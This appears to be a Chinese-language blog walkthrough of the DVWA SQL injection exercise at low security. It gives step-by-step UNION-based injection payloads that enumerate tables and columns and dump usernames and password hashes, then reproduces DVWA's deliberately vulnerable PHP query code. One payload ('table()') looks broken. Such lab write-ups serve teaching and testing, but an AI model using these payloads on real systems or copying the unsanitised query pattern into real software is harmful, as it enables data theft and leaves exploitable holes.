DVWA-SQL Injection(low)

Low

SQL Injection:

先知社區:SQL注入總結

(1)判斷

判斷是否存在注入

猜測SQL語句:

http://www.xxx.com/xxx.php?id=1              假設ID爲存在注入的參數
http://www.xxx.com/xxx.php?id=1‘             語句報錯
http://www.xxx.com/xxx.php?id=1‘ and 1=1#     頁面正常返回結果
http://www.xxx.com/xxx.php?id=1’ and 1=2#     頁面返回錯誤

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
如果以上4個測試條件結果全部滿足,那麼就可能存在sql注入漏洞。

判斷閉合方式

http://www.xxx.com/xxx.php?id=1' #           返回結果id=1一致,判斷單引號閉合

在這裏插入圖片描述
常用的閉合方式還有:
id = “input_id”
id = (“input_id”)
id = (‘input_id’)

判斷注入類型(數字型/字符型)

輸入
888 or 1=1
頁面無回顯
888’ or ‘1’='1
打印所有
在這裏插入圖片描述
在這裏插入圖片描述
返回了多個結果,說明存在字符型注入。

(2)用order by確定列數

輸入1’ or 1 = 1 order by 1 #,查詢成功:
在這裏插入圖片描述
輸入1’ or 1 = 1 order by 3 #
查詢報錯,最後一個頁面正確回顯的數是2,所以可以得出爲2列。
在這裏插入圖片描述

(3)用 union select確定顯示的字段

1’ union select 1,2#
在這裏插入圖片描述
說明執行的SQL語句爲select First name,Surname from 表 where ID=’id’…

(4)獲取當前數據庫

 1' union select 1,database()#

這裏的數字1只是爲了湊後面的列數,union查詢前後的列數要一致纔行
在這裏插入圖片描述
查詢當前的數據庫名和當前的用戶名

1' union select table(),database()#

在這裏插入圖片描述

(5)注入出當前數據庫所有的表名

方法一:回顯一條結果:
1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
在這裏插入圖片描述
法二:回顯多條結果:
id=-1’ union select 1,table_name from information_schema.tables
where table_schema=database() #
在這裏插入圖片描述

(6)注入出某一個表中的全部列名

(表名爲’users’)
方法一:回顯在一條結果
1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)#
在這裏插入圖片描述
方法二:回顯在多條結果
1’ union select 1,column_name from information_schema.columns where table_name = ‘users’#
在這裏插入圖片描述
說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

(7)注入出字段內容

(字段名爲user、password)
方法一:回顯在一條結果
1’ union select (select group_concat(User) from users),(select group_concat(Password) from users) #
在這裏插入圖片描述
方法二:回顯在多條結果
1’ union select user,password from users #
在這裏插入圖片描述

low SQL Injection源碼

SQL Injection Source

vulnerabilities/sqli/source/low.php

<?php 

if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) { 
        // Get values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 

    mysqli_close($GLOBALS["___mysqli_ston"]); 
} 

?> 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章